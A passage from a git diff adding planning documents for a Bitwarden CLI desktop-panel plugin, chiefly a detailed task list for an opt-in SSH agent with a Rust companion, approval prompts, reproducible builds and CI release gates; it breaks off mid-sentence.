tests/setup-settings.test.js` +- [x] Tests pass: `node tests/lock-state.test.js` +- [x] Static check confirms manifest/model schema parity. + +**Dependencies:** None + +**Files likely touched:** + +- `manifest.json` +- `BitwardenModel.js` +- `tests/setup-settings.test.js` +- `tests/lock-state.test.js` + +**Estimated scope:** Medium: 3–4 files + +### Task 2: Wire the theme-accent shield and General toggle + +**Description:** Add the root property that reads `colorizeIcon`, use it only +for the primary shield glyph in the menu-bar icon component, and rely on the +existing schema-driven settings delegate to render and persist the toggle. +Add focused static assertions for the binding and for the unchanged status +badge color paths. + +**Acceptance criteria:** + +- [x] `colorizeIcon` is read from the live setting with a false-safe default. +- [x] The primary shield resolves to `Color.accent` when enabled and the + existing bar foreground when disabled. +- [x] The padlock, missing-tool badge, and urgent/error color bindings are not + redirected through the new preference. + +**Verification:** + +- [x] Tests pass: `node tests/settings-screen.test.js` +- [x] Focused source assertions pass for shield color precedence and badge + independence. +- [x] QML lint passes for `Panel.qml` with the repository's Omarchy import path. + +**Dependencies:** Task 1 + +**Files likely touched:** + +- `Panel.qml` +- `tests/settings-screen.test.js` + +**Estimated scope:** Small: 1–2 files + +### Task 3: Add regression coverage and document the setting + +**Description:** Complete the feature's regression matrix and user-facing +documentation. Verify that persistence survives the shell reload path and that +the selected accent is inherited from the active theme while status indicators +remain recognizable. + +**Acceptance criteria:** + +- [x] Tests cover default-off behavior, enabling/disabling through the settings + path, malformed persisted values, and preservation of badge colors. +- [x] User-facing documentation says the toggle follows the active Omarchy + theme accent and does not offer arbitrary color selection. +- [x] No unrelated panel colors or status semantics change. + +**Verification:** + +- [x] Full JavaScript suite passes: + `for test_file in tests/*.test.js; do node "$test_file" || exit 1; done` +- [x] QML suite passes: + `env -u DISPLAY -u WAYLAND_DISPLAY -u QT_QPA_PLATFORMTHEME QML_XHR_ALLOW_FILE_READ=1 QT_QPA_PLATFORM=offscreen /usr/lib/qt6/bin/qmltestrunner -input tests/qml` +- [x] Plugin validation passes: `omarchy plugin validate .` +- [ ] Manual runtime check confirms both toggle states and theme-derived color + behavior when the desktop environment is available. + +**Dependencies:** Task 2 + +**Files likely touched:** + +- `README.md` or the relevant feature documentation +- `tests/setup-settings.test.js` +- `tests/settings-screen.test.js` +- `tests/lock-state.test.js` + +**Estimated scope:** Medium: 3–4 files + +## Risks and Mitigations + +| Risk | Impact | Mitigation | +|---|---|---| +| Accent color has poor contrast on a supported theme | Medium | Check light/dark themes manually; retain the existing bar foreground as the safe default and do not alter urgent badges. | +| The setting is added to one schema but not the other | Medium | Keep manifest/model parity assertions in the focused settings tests. | +| The setting accidentally recolors status badges | High | Limit the binding change to the primary shield `Text` and assert badge bindings remain independent. | +| Shell reload does not refresh the bar icon immediately | Low | Verify the existing `omarchy bar set` hot-reload behavior; do not add a second persistence mechanism. | + +## Open Questions + +- Confirm final user-facing label: **Colorize menu-bar icon** versus **Use + theme accent for icon**. The plan assumes the former. +- Confirm which user-facing documentation file should receive the short setting + note; `README.md` is the default unless project conventions prefer + `docs/features.md`. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/todo.md b/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/todo.md new file mode 100644 index 0000000..3e1035d --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/todo.md @@ -0,0 +1,1091 @@ +# Task List: Opt-in Bitwarden SSH Agent + +Source design: `docs/ideas/ssh-agent.md`, revision 2 (2026-08-26). + +Every task must satisfy its acceptance criteria plus the repository-wide +Definition of Done: focused and regression tests, runtime verification, lint +and formatting, scoped changes, documentation for user-visible behavior, +security review for sensitive paths, and human approval before merge/release. +Each task also ends with the live checkpoint protocol in `tasks/plan.md`: the +dev-linked plugin is restarted and opened for user testing before work begins +on the next task. + +## Task 1: Introduce the sanitized vault-read contract + +**Description:** Add an out-of-process, positive-allowlist `jq` transform for +the ordinary `bw list items` result without switching the live panel yet. It +must emit one bounded object containing intact types 1–4 and a public-only +projection of type 5, while excluding types 6+ and keeping SSH private keys out +of every QML-facing byte. + +**Acceptance criteria:** + +- [x] Fixture markers prove types 1–4 remain intact, type 5 exposes only the + approved public fields, and no type-5 private marker or type-6+ marker + reaches QML-facing output. +- [x] A type 1–4 object carrying a top-level `sshKey` subtree rejects the whole + read rather than mutating an ordinary object or risking a private-key leak. +- [x] Raw input and QML output have producer-side caps; malformed, truncated, + or filter-failing input returns an error rather than a partial model. +- [x] The filter is static, receives values only through safe `jq --arg` + inputs, and preserves the repository's no-secret-in-argv policy. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-items.test.js` +- [x] Regression suite passes: `for test_file in tests/*.test.js; do node "$test_file" || exit 1; done` +- [x] Manual check: run the command against marker fixtures and inspect both + stdout and failure exit codes. + +**Dependencies:** None + +**Files likely touched:** + +- `BitwardenModel.js` +- `tests/ssh-items.test.js` + +**Estimated scope:** Small: 2 files + +## Task 2: Deliver the public SSH-key panel slice + +**Description:** Switch the panel's item load to the sanitized envelope and +add type-5 SSH keys as public-only, read-only items. They participate in All, +Favorites, global search, counts, and type filtering, but cannot fall through +to generic detail fetching, creation, editing, or cloning. + +**Acceptance criteria:** + +- [x] Existing types render from `items`, while public SSH keys render from + `sshKeys` with name, public key, fingerprint, organization/folder, + favorite, and re-prompt availability only. +- [x] SSH keys appear in normal list/search/count flows and contextual + suggestions remain login-only. +- [x] Generic `bw get item`, create, edit, and clone paths reject type 5; a + read-only detail view never displays or requests private material. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-items.test.js && node tests/items.test.js` +- [x] QML tests pass: `QT_QPA_PLATFORM=offscreen /usr/lib/qt6/bin/qmltestrunner -input tests/qml` +- [x] Manual check: open a fixture vault containing types 1–8 and inspect list, + filters, search, counts, detail, and disabled actions. + +**Dependencies:** Task 1 + +**Files likely touched:** + +- `BitwardenModel.js` +- `Panel.qml` +- `tests/ssh-items.test.js` +- `tests/items.test.js` +- `tests/qml/tst_ssh_items.qml` + +**Estimated scope:** Medium: 5 files + +## Task 3: Enforce SSH support prerequisites + +**Description:** Make `jq` a required dependency, establish the supported +Bitwarden CLI floor, and expose accurate diagnostics for old CLI versions, +unconfirmed server capability, and the pre-2026.8 malformed-SSH-item hazard. +Ordinary non-SSH vault behavior must remain usable whenever possible. + +**Acceptance criteria:** + +- [x] First-run dependency checks report missing `jq` as required without + changing optional dependency semantics. +- [x] SSH UI/agent setup is unavailable below `bw` 2025.1.2 and reports + unconfirmed capability separately from a confirmed empty key set. +- [x] A whole-list failure attributable to the known upstream SSH-item issue + names the 2026.8.0 fix without exposing raw CLI output. + +**Verification:** + +- [x] Tests pass: `node tests/setup-settings.test.js && node tests/ssh-items.test.js` +- [x] Plugin validates: `omarchy plugin validate .` +- [x] Manual check: exercise missing `jq`, old `bw`, empty supported vault, and + malformed-item fixture diagnostics. + +**Dependencies:** Task 2 + +**Files likely touched:** + +- `BitwardenModel.js` +- `Panel.qml` +- `manifest.json` +- `tests/setup-settings.test.js` +- `tests/ssh-items.test.js` + +**Estimated scope:** Medium: 5 files + +## Checkpoint: Safe Panel Baseline (Tasks 1–3) + +- [x] Full JavaScript and QML suites pass. +- [x] Qt6 lint remains at the documented baseline and the manifest validates. +- [x] Marker tests prove no SSH private key or unknown cipher reaches QML. +- [x] Human review approves the prerequisite boundary. + +## Task 4: Pin the Rust security foundation + +**Description:** Time-box the dependency spike, scaffold the Rust crate with an +exact toolchain and lockfile, and record the selected protocol, crypto, +zeroization, async, and Linux-runtime dependencies. The decision also fixes +public-key export ownership and documents rejected/deprecated alternatives. + +**Acceptance criteria:** + +- [x] Current primary sources confirm maintenance status, required Ed25519/RSA + support, peer credentials, licenses, audit surface, and protocol hooks. +- [x] The decision identifies how parsed private components are zeroized or + explicitly stops the project if credible lock-time erasure is impossible. +- [x] `cargo test --locked` builds a minimal headless crate on + `x86_64-unknown-linux-gnu` with no vault/network dependency. + +**Verification:** + +- [x] Tests pass: `cargo test --manifest-path agent/Cargo.toml --locked` +- [x] Build succeeds: `cargo build --manifest-path agent/Cargo.toml --locked` +- [x] Manual check: security review the ADR, dependency tree, licenses, enabled + features, and public-export ownership decision. + +**Dependencies:** Task 3 + +**Files likely touched:** + +- `agent/Cargo.toml` +- `agent/Cargo.lock` +- `agent/rust-toolchain.toml` +- `agent/src/lib.rs` +- `docs/decisions/0001-ssh-agent-dependencies.md` + +**Estimated scope:** Medium: 5 files + +## Task 5: Implement bounded SSH protocol signing + +**Description:** Implement the allowlisted agent frame decoder and a signing +slice for request-identities and sign-request. Support Ed25519 and RSA +SHA-256/SHA-512 flags, reject all mutation/forwarding/unknown operations, and +check frame lengths before allocating. + +**Acceptance criteria:** + +- [x] OpenSSH-compatible vectors pass for identity listing, Ed25519, RSA + SHA-256, and RSA SHA-512 signatures. +- [x] Frames over 256 KiB, truncation, invalid lengths/UTF-8, mutation requests, + and unknown extensions fail with normal bounded agent failures. +- [x] No error or debug path emits private keys, payloads, signatures, or raw + parser data. + +**Verification:** + +- [x] Tests pass: `cargo test --manifest-path agent/Cargo.toml --locked --test protocol` +- [x] Lint passes: `cargo clippy --manifest-path agent/Cargo.toml --locked --all-targets -- -D warnings` +- [x] Manual checkpoint approved: the existing panel remained functional after + the protocol slice. The real `ssh-add -L` and disposable-key smoke test + remains part of the Task 9 socket-harness checkpoint. + +**Dependencies:** Task 4 + +**Files likely touched:** + +- `agent/src/protocol.rs` +- `agent/src/signing.rs` +- `agent/src/lib.rs` +- `agent/tests/protocol.rs` + +**Estimated scope:** Medium: 4 files + +## Task 6: Implement the vault-epoch keystore + +**Description:** Add the single-owner private keystore and explicit vault state +machine. Loads build a bounded candidate set, validate derived public material, +deduplicate identities, and swap atomically; lock first denies authorization, +then drops private material while retaining only the allowed public cache. + +**Acceptance criteria:** + +- [x] Candidate loads enforce 128 keys, 64 KiB per PEM, and 8 MiB total; one + bad key is skipped, while framing/schema/limit failures reject the whole + candidate without mixing old and new private keys. +- [x] Public blob and derived fingerprint must match vault metadata; duplicates + advertise once and re-prompt items never enter the private keystore. +- [x] Lock/epoch tests prove no authorization crosses after the atomic deny + point and secret containers are dropped/zeroized without long-lived + clones. + +**Verification:** + +- [x] Tests pass: `cargo test --manifest-path agent/Cargo.toml --locked --test keystore` +- [x] Formatting passes: `cargo fmt --manifest-path agent/Cargo.toml --check` +- [x] Manual check: private owners have no clone/revealing-debug path; all seven + load/lock/logout tests pass under Heaptrack and Valgrind. Both tools + attribute their small exit-time retention only to Rust/loader test-runtime + bookkeeping, with no project or crypto allocation leak path. + +**Dependencies:** Task 5 + +**Files likely touched:** + +- `agent/src/keystore.rs` +- `agent/src/state.rs` +- `agent/src/lib.rs` +- `agent/tests/keystore.rs` + +**Estimated scope:** Medium: 4 files + +## Checkpoint: Rust Primitives (Tasks 4–6) + +- [x] Protocol, crypto, mismatch, limit, and lock tests pass. +- [x] Dependency and secret-memory findings support the stated lock semantics. +- [x] Human review approves continuing the headless implementation. + +## Task 7: Implement nonce-framed FIFO loading + +**Description:** Create the private runtime directory and key-load FIFO, keep +the FIFO open `O_RDWR`, and drain one nonce-framed candidate load into secret +buffers under hard size/time limits. Prove the intended `tee` backpressure and +exit-status behavior without letting the companion spawn production children. + +**Acceptance criteria:** + +- [x] Runtime directory/FIFO ownership, type, and modes are verified; stale, + symlinked, wrong-owner, and wrong-type paths are refused safely. +- [x] Missing, stale, duplicate, truncated, malformed, or nonce-mismatched + payloads fail the whole load and never publish a partial key set. +- [x] Stress tests prove bounded draining and document when the two-read + fallback must replace the preferred `tee` design. + +**Verification:** + +- [x] Tests pass: `cargo test --manifest-path agent/Cargo.toml --locked --test load` +- [x] Build succeeds: `cargo build --manifest-path agent/Cargo.toml --locked` +- [x] Manual check: run FIFO/`tee` tests with slow readers, branch failure, + duplicate writers, and the full 8 MiB limit. + +**Dependencies:** Task 6 + +**Files likely touched:** + +- `agent/src/load.rs` +- `agent/src/runtime.rs` +- `agent/src/lib.rs` +- `agent/tests/load.rs` +- `tests/ssh-agent-pipeline.test.js` + +**Estimated scope:** Medium: 5 files + +## Task 8: Authorize signatures with bounded grants + +**Description:** Make the companion authoritative for request correlation, +peer context, approvals, and grants. Enforce peer UID, bounded queues/deadlines, +single-use approval, and process-scoped grants keyed by PID plus start time and +executable path, with a final epoch/state/key check immediately before signing. + +**Acceptance criteria:** + +- [x] At most four sign requests exist, each expires within 30 seconds and is + cancelled on disconnect; late/duplicate/old-epoch approvals are rejected. +- [x] Grants are capped at 900 seconds, scoped to one key/live process, and + revoked by every specified lifecycle event or identity mismatch. +- [x] Same-UID peer enforcement and PID-reuse/re-exec tests pass while prompt + metadata remains explicitly non-authoritative. + +**Verification:** + +- [x] Tests pass: `cargo test --manifest-path agent/Cargo.toml --locked --test approvals` +- [x] Lint passes: `cargo clippy --manifest-path agent/Cargo.toml --locked --all-targets -- -D warnings` +- [x] Manual checkpoint approved with the existing panel intact. Headless + approve-once, grant, expiry, re-exec, PID reuse, + overflow, disconnect, and lock-at-final-check races. + +**Dependencies:** Tasks 5 and 6 + +**Files likely touched:** + +- `agent/src/approvals.rs` +- `agent/src/peer.rs` +- `agent/src/server.rs` +- `agent/src/lib.rs` +- `agent/tests/approvals.rs` + +**Estimated scope:** Medium: 5 files + +## Task 9: Complete the supervised companion lifecycle + +**Description:** Assemble the headless binary around the stable socket, +versioned NDJSON control channel, keystore, and approvals. Enforce singleton +startup with `flock`, harden process dump behavior before secrets arrive, use +bounded concurrent tasks/channels, and close the signing gate on EOF or protocol +mismatch. + +**Acceptance criteria:** + +- [x] The helper creates a mode-0600 socket in the private runtime directory, + holds the singleton lock, advertises a versioned `ready`, and rejects a + concurrent stale-instance race. +- [x] Control lines over 64 KiB, wrong versions/types, full channels, slow + clients, or stdin EOF fail closed without blocking lock processing. +- [x] The release process sets `RLIMIT_CORE=0`/`PR_SET_DUMPABLE=0`, spawns no + children, needs no `PATH`/`HOME`/vault credential, and cleans runtime paths. + +**Verification:** + +- [x] Tests pass: `cargo test --manifest-path agent/Cargo.toml --locked --test lifecycle` +- [x] Build succeeds: `cargo build --manifest-path agent/Cargo.toml --locked` +- [x] Manual/real-client checkpoint: disposable-key signing with the real + OpenSSH `ssh-keygen -Y sign` client, multiple clients, control EOF, + singleton restart, and runtime cleanup pass; the existing panel remains + intact after its live reload. Full panel-managed authentication begins + after Task 10 adds supervision. + +**Dependencies:** Tasks 7 and 8 + +**Files likely touched:** + +- `agent/src/main.rs` +- `agent/src/control.rs` +- `agent/src/runtime.rs` +- `agent/src/server.rs` +- `agent/tests/lifecycle.rs` + +**Estimated scope:** Medium: 5 files + +## Checkpoint: Headless Companion (Tasks 7–9) + +- [x] All Rust tests, format, Clippy, and initial dependency audit pass. +- [x] Real OpenSSH/Git smoke tests pass with disposable keys and a fake panel. +- [x] No vault credential or production child process enters the helper. +- [x] Human review approves the control protocol and threat boundary. + +## Task 10: Establish companion supervision + +**Description:** Add an inert-by-default Quickshell supervisor that launches a +development helper by absolute plugin-relative path, keeps stdin open, parses +NDJSON asynchronously from startup, performs the version handshake, applies +capped restart backoff, and isolates helper errors from the ordinary vault. + +**Acceptance criteria:** + +- [x] Disabled mode starts nothing; enabled mode uses a tracked non-detached + `Process`, minimal environment, absolute path, and compatible handshake. +- [x] Quickshell never waits synchronously; overlong/malformed output, EOF, + mismatch, or crash closes the signing gate and reaches a bounded error state. +- [x] A crash loop stops restarts and leaves login, unlock, list, copy, sync, + edit, Send, and generator flows usable. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-control.test.js` +- [x] QML tests pass: `QT_QPA_PLATFORM=offscreen /usr/lib/qt6/bin/qmltestrunner -input tests/qml` +- [x] Manual check: `tests/ssh-agent-control.test.js` drives the real reducer + against real child processes -- fake helpers that answer the handshake, + stall silently, emit non-JSON, emit an oversized line, close stdin, and + die at once -- plus the real helper binary, which completes the v1 + handshake with only `XDG_RUNTIME_DIR`, reports paths under that + directory, and cleans up its socket when stdin closes. Live: the shell + restarted, `omarchy-shell shell ping` answered, the panel opened, and + `status` returned `locked` with no helper process, socket, or FIFO + created in the default disabled mode. + +**Dependencies:** Tasks 3 and 9 + +**Files likely touched:** + +- `BitwardenModel.js` +- `Panel.qml` +- `tests/ssh-agent-control.test.js` +- `tests/qml/tst_ssh_agent.qml` + +**Estimated scope:** Medium: 4 files + +## Task 11: Deliver opt-in session setup + +**Description:** Add the three SSH-agent settings and explicit disabled, +enabled, and error states. Implement the user-confirmed UWSM environment +fragment lifecycle and report `SSH_AUTH_SOCK` only as advisory terminal-routing +diagnostics, never as a condition for running the helper. + +**Acceptance criteria:** + +- [x] `sshAgentEnabled=false`, `sshAgentUnlockOnDemand=false`, and a clamped + `sshAgentApprovalWindowSec=120` default are consistent across manifest, + model schema, and settings UI. +- [x] Managed UWSM setup/removal uses safe parent creation, atomic mode-safe + writes, symlink refusal, unexpected-content refusal, conflict confirmation, + and explicit logout/login guidance. +- [x] Diagnostics distinguish matching, elsewhere, and unset client sockets and + print the terminal check without gating companion startup. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-setup.test.js && node tests/setup-settings.test.js` +- [x] Plugin validates: `omarchy plugin validate .` +- [x] Manual check: `tests/ssh-agent-setup.test.js` exercises the real scripts + against real temporary homes -- fresh setup, an idempotent rewrite, + removal, a hand-written fragment, a symlink over a real file, a + directory at the path, and an unset HOME -- asserting in each case that + foreign content and symlink targets are left byte-identical. Another + agent, unset socket, and matching socket are covered by the diagnostic + cases. Live: the shell restarted, `omarchy-shell shell ping` answered, + the panel and its settings screen opened, and with the feature off no + helper, socket, FIFO, or routing file exists. A new graphical login is + the user's to exercise; nothing in this task writes the fragment + without an explicit click. + +**Dependencies:** Task 10 + +**Files likely touched:** + +- `manifest.json` +- `BitwardenModel.js` +- `Panel.qml` +- `tests/ssh-agent-setup.test.js` + +**Estimated scope:** Medium: 4 files + +## Task 12: Feed the companion from the shared vault read + +**Description:** Extend the single sanitized vault read with the optional +`tee`/FIFO branch. Coordinate `key_load_begin`/`key_load_end`, fresh load IDs, +process-group supervision, and a one-time retry without the agent branch so an +optional load can never break the ordinary item list. + +**Acceptance criteria:** + +- [x] Enabled loads send only eligible type-5 key fields and matching nonce to + the FIFO while QML stdout still contains neither private nor unrelated + markers; disabled loads have no private branch at all. +- [x] Whole-pipeline, branch, helper, timeout, cap, or validation failure leaves + no partial private set and retries the core list once without the branch. +- [x] Unlock/sync/startup use one successful `bw list items` read, and a lock can + terminate/reap the entire `bw`/cap/`tee`/`jq` process group. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-pipeline.test.js && cargo test --manifest-path agent/Cargo.toml --locked --test load` +- [x] Regression suite passes: `for test_file in tests/*.test.js; do node "$test_file" || exit 1; done` +- [x] Manual check: `tests/ssh-agent-pipeline.test.js` runs the real pipeline + against a real FIFO for a missing FIFO, a regular file squatting the + path, an undrained FIFO, an absent nonce, malformed/truncated/non-array + input, and a `bw` that exits nonzero after a valid document -- the item + list survives every one. Its end-to-end case drives the real companion + with a disposable key and confirms `ssh-add -L` lists exactly the key + the vault held. Helper death during a stop was found to leave the socket + and FIFO behind and is now fixed; see the graceful-shutdown note below. + +**Dependencies:** Tasks 1, 7, and 10 + +**Files likely touched:** + +- `BitwardenModel.js` +- `Panel.qml` +- `tests/ssh-agent-pipeline.test.js` +- `agent/tests/load.rs` + +**Estimated scope:** Medium: 4 files + +## Checkpoint: Optional Data Plane (Tasks 10–12) + +- [x] Disabled mode is inert and core panel regressions pass. +- [x] Enabled mode loads from one read with bounded fallback behavior. +- [x] QML responsiveness is verified under blocked clients and failed helpers. +- [x] Human review approves the opt-in and data-minimization behavior. + +## Task 13: Enforce vault lifecycle transitions + +**Description:** Wire the companion state machine into unlock, remembered- +session startup, sync, lock, logout, account change, screen lock, suspend, +disable, and panel shutdown. Lock must atomically deny first, cancel pending +work, clear grants/private keys, and enforce the two-second acknowledgment kill +fallback without delaying `bw lock`. + +**Acceptance criteria:** + +- [x] Every lifecycle path advances the epoch and produces the specified public + cache, private cache, grants, pending requests, and process state. +- [x] No signature response from the previous epoch returns after lock + acknowledgment; timeout kills/reaps the helper while the vault lock proceeds. +- [x] Starting beside a remembered unlocked session performs an initial key + load, while logout/account change/disable clear public projections too. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-lifecycle.test.js && node tests/lock-triggers.test.js && node tests/lock-state.test.js` +- [x] Rust tests pass: `cargo test --manifest-path agent/Cargo.toml --locked --test lifecycle` +- [x] Manual check: live, with a real vault -- a shell restart into a + keyring-remembered unlocked session loaded keys (found and fixed a race + where the handshake and the first `bw status` could each be second), a + lock dropped the private set while the helper survived its + acknowledgment, and disabling stopped the helper and emptied the runtime + directory. Screen lock and suspend route through the same lock path. + Logout, account switch, and the locked-with-cache identity listing are + covered end to end over the real socket by + `agent/tests/lifecycle.rs::a_locked_vault_still_lists_identities_but_refuses_to_sign`. + NOT yet confirmed live: the locked-with-cache listing needs an unlocked + vault, and the approval/signing/grant lock races belong to Task 14. + +**Dependencies:** Tasks 8, 9, 10, and 12 + +**Files likely touched:** + +- `Panel.qml` +- `tests/ssh-agent-lifecycle.test.js` +- `tests/lock-triggers.test.js` +- `tests/lock-state.test.js` + +**Estimated scope:** Medium: 4 files + +## Task 14: Deliver signing authorization UX + +**Description:** Add one-at-a-time approval UI, the opt-in unlock-on-demand +flow, sanitized process/key context, request cancellation, cooldown, live grant +status, individual/all revoke controls, and panel focus rules that never prompt +over screen lock. + +**Acceptance criteria:** + +- [x] Prompts clearly offer deny, approve once, and process grant only when + enabled; they show key/process/forwarding context without overstating PID + authority. +- [x] Locked cached keys prompt at sign time; no-cache identity listing prompts + only when unlock-on-demand is enabled, with coalescing and denial cooldown. +- [x] Four-request/deadline/disconnect behavior is visible and bounded, and live + grants update/revoke without freezing or exposing secret control data. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-ui.test.js` +- [x] QML tests pass: `QT_QPA_PLATFORM=offscreen /usr/lib/qt6/bin/qmltestrunner -input tests/qml` +- [x] Manual check: live, against a real vault and real OpenSSH clients -- + `git push` authentication, `ssh-keygen -Y sign`, repeated signed commits + riding one grant, approving during a load, a dismissed unlock, request + timeout, and client disconnect. Found and fixed three defects no + automated test caught: the prompt never rendered (opening the panel + reset the screen after it was set), timeouts never fed the cooldown, + and the cooldown failed silently. Two design deviations were recorded + rather than made quietly: docs/decisions/0002-grant-scope.md and + docs/decisions/0003-request-deadline.md. + +**Dependencies:** Tasks 8, 10, and 13 + +**Files likely touched:** + +- `Panel.qml` +- `tests/ssh-agent-ui.test.js` +- `tests/qml/tst_ssh_agent.qml` + +**Estimated scope:** Medium: 3 files + +The two-read fallback is required if the agent branch cannot drain and +acknowledge a complete nonce-matching payload within the panel pipeline's +deadline, if its FIFO write fails, or if process-substitution status cannot be +correlated with the candidate acknowledgment. In every fallback case the panel +read remains authoritative and the failed candidate is discarded before a +separate bounded agent-only read is attempted. + +## Task 15: Project validated public-key files + +**Description:** Export only the companion's validated public identities to a +private plugin data directory, using deterministic hostile-name handling and +collision-safe filenames. Keep the projection across vault lock, refresh it +atomically per epoch, and clear it on logout, account change, or disable. + +The panel writes the files from the validated public set the companion reports; +the companion stays out of the filesystem. See +`docs/decisions/0001-ssh-agent-dependencies.md`. + +**Acceptance criteria:** + +- [x] One mode-0600 `.pub` file per advertised key exists inside a mode-0700 + directory; symlinks, wrong owners/types, collisions, and unexpected files + cannot redirect or overwrite output. +- [x] Projection updates are atomic, survive lock, and clear on logout/account + change/disable without ever writing private material. +- [x] Real Git SSH signing and `IdentityFile`/`IdentitiesOnly` flows work from + the exported paths using disposable keys. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-export.test.js` +- [x] Manual check: live, against the real vault. The projection is a 0700 + directory holding one 0600 `.pub` per advertised key with correct + OpenSSH content. A commit signed with `gpg.format=ssh`, + `user.signingkey` pointing at an exported path, and a generated + allowed-signers file verifies: `git verify-commit` reports a good + ED25519 signature and `git log %G?` reports `G`. Commits made earlier + through the locked-vault unlock-then-approve path verify the same way. + +**Dependencies:** Tasks 4, 6, 9, and 13 + +**Files likely touched:** + +- `BitwardenModel.js` +- `Panel.qml` +- `agent/src/control.rs` +- `tests/ssh-agent-export.test.js` + +**Estimated scope:** Medium: 4 files + +## Checkpoint: End-to-End Feature (Tasks 13–15) + +- [x] Lifecycle, UI, export, full Rust, full JavaScript, and QML suites pass. +- [x] Real authentication and signing work without a private key on disk. +- [x] Security review confirms private material paths and final authorization. +- [x] Human usability/security review approves packaging. + +## Task 16: Make the release build reproducible + +**Description:** Define a digest-pinned x86_64 GNU build environment and one +local/CI build entry point using the committed lockfile/toolchain, fixed release +features, path remapping, deterministic stripping, and a byte-comparison mode. +Produce separate debug symbols only as temporary artifacts. + +**Acceptance criteria:** + +- [x] Two clean builds from distinct absolute work paths emit identical + stripped helper bytes and stable checksums. +- [x] Build inputs cover toolchain, container, linker/strip tools, target, + flags, release profile, source path, and Cargo registry path. +- [x] The script refuses unlocked dependencies or an unsupported target and + reports source/binary drift without modifying the repository. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-artifact.test.js` +- [x] Build succeeds: `scripts/build-agent.sh --verify-reproducible` -- green + in CI, which runs it inside the pinned image. It refuses locally for want + of that image, by design, and `--explain` says so without building. +- [x] Manual check: done in CI rather than locally, this machine having no + usable container runtime. Two builds from `/tmp/*/path-one` and + `/tmp/*/a-considerably-longer-second-path` produced identical bytes: + sha256 7f4c38d405adf16504ea7029896365c4081b0e154a4fc1755cd624c12503e816. + Built under rustc 1.98.0 and GNU ld 2.40 in the pinned Debian bookworm + image -- the host's ld 2.47 would have produced different bytes, which + is what the image exists to prevent. `readelf`/`ldd` inspection of the + committed artifact belongs with Task 18, which is where a binary is + first committed. + +**Dependencies:** Task 9 + +**Files likely touched:** + +- `.github/agent-build.Dockerfile` +- `agent/.cargo/config.toml` +- `scripts/build-agent.sh` +- `tests/ssh-agent-artifact.test.js` + +**Estimated scope:** Medium: 4 files + +## Task 17: Add read-only pull-request gates + +**Description:** Add least-privilege CI for existing tests, Rust quality, +dependency/license policy, native target execution, disposable-key end-to-end +tests, candidate artifacts, and conditional tracked-binary comparison. Fork PRs +must remain useful without receiving secrets or repository write permission. + +**Acceptance criteria:** + +- [x] PR jobs default to `contents: read`, use no secrets/write token, pin every + third-party action by full SHA, and upload but never commit candidates. +- [x] CI runs JavaScript/QML, fmt, Clippy, Rust tests, native E2E, RustSec, + license/source/duplicate policy, and reproducible build checks. +- [x] Source-only fork PRs report candidate drift without impossible blocking; + `bin/` changes and merges to `master` require exact clean-build bytes. + +**Verification:** + +- [x] Policy passes: `cargo deny --manifest-path agent/Cargo.toml check` +- [x] Workflow passes: green on the same-repository feature branch across all + three jobs. The fork path is implemented and reviewed but NOT exercised + -- it needs an actual fork PR, which cannot be raised against one's own + repository. Worth running once before this reaches master. +- [x] Manual check: permissions are `contents: read` only, every action is + pinned to a full commit SHA with its version in a trailing comment, no + `secrets.` reference appears, the candidate is uploaded and never + committed by CI, and the logs carry no key material. Asserted by + `tests/ssh-agent-artifact.test.js` as well as read by eye. + +**Dependencies:** Task 16 + +**Files likely touched:** + +- `.github/workflows/ci.yml` +- `.github/dependabot.yml` +- `deny.toml` +- `.github/CODEOWNERS` + +**Estimated scope:** Medium: 4 files + +## Checkpoint: Candidate Artifact (Tasks 16–17) + +- [x] Reproducibility and every read-only PR gate pass. +- [x] Fork contribution and tracked-byte policies are both workable. +- [x] Human supply-chain review approves bundling the artifact. + +## Task 18: Validate the bundled helper at launch + +**Description:** Add the tracked x86_64 GNU helper and checksum, then make the +panel validate architecture/format, executable mode, checksum consistency, +self-test, semantic/control versions, and handshake before enabling SSH-agent +behavior. Failures must disable only this optional feature. + +**Acceptance criteria:** + +- [x] The repository contains executable release bytes and a matching checksum + produced by Task 16, without Git LFS or runtime download. +- [x] Missing, corrupt, stale, wrong-architecture, non-executable, self-test- + failing, or protocol-mismatched helpers reach clear bounded diagnostics. +- [x] Every validation failure leaves the rest of the Bitwarden plugin usable + and creates no agent socket/FIFO/private branch. + +**Verification:** + +- [x] Tests pass: `node tests/ssh-agent-bundle.test.js` +- [x] Artifact check passes: `scripts/build-agent.sh --compare-tracked` -- + green in CI: tracked and freshly built both + 3b36e17fcbca8b5925b417b36c75157fc96502391720d5fcf0edac65a6abfbe3. + + The earlier note here recorded 69245af2 from a run that proved nothing. + The comparison sat after "Build the candidate artifact", which writes + `bin/`, so it read back the candidate and compared it with itself. The + digests agreed because the binary happened to be current, not because + anything checked. The step now runs before any build writes to `bin/`, + and `tests/ssh-agent-artifact.test.js` fails if it is ever moved back. +- [x] Manual check: `tests/ssh-agent-bundle.test.js` does exactly this against + real files in disposable directories -- missing, non-executable, + truncated, a Git LFS placeholder, and a broken shipped binary beside a + working development build -- asserting the feature stays off and the + diagnostic names the cause. Live: the panel launches + bin/x86_64-linux/qs-bitwarden-ssh-agent, reaches ready and serves both + keys. + +**Dependencies:** Tasks 10 and 16 + +**Files likely touched:** + +- `bin/x86_64-linux/qs-bitwarden-ssh-agent` +- `bin/SHA256SUMS` +- `BitwardenModel.js` +- `Panel.qml` +- `tests/ssh-agent-bundle.test.js` + +**Estimated scope:** Medium: 5 files + +## Task 19: Protect release provenance + +**Description:** Add a protected tag workflow that repeats all gates, verifies +tracked bytes/checksums, creates GitHub build-provenance attestations, and +publishes SBOM plus dependency/license reports. Restrict elevated permissions +to the final release job and require review for security-sensitive paths. + +**Acceptance criteria:** + +- [x] Protected releases rebuild/compare final bytes, run them natively, verify + checksum/mode/version/self-test, and fail before publication on drift. + The gates stage calls `agent-build.yml` rather than copying it, so the + release runs the branch's own `--verify-reproducible` and + 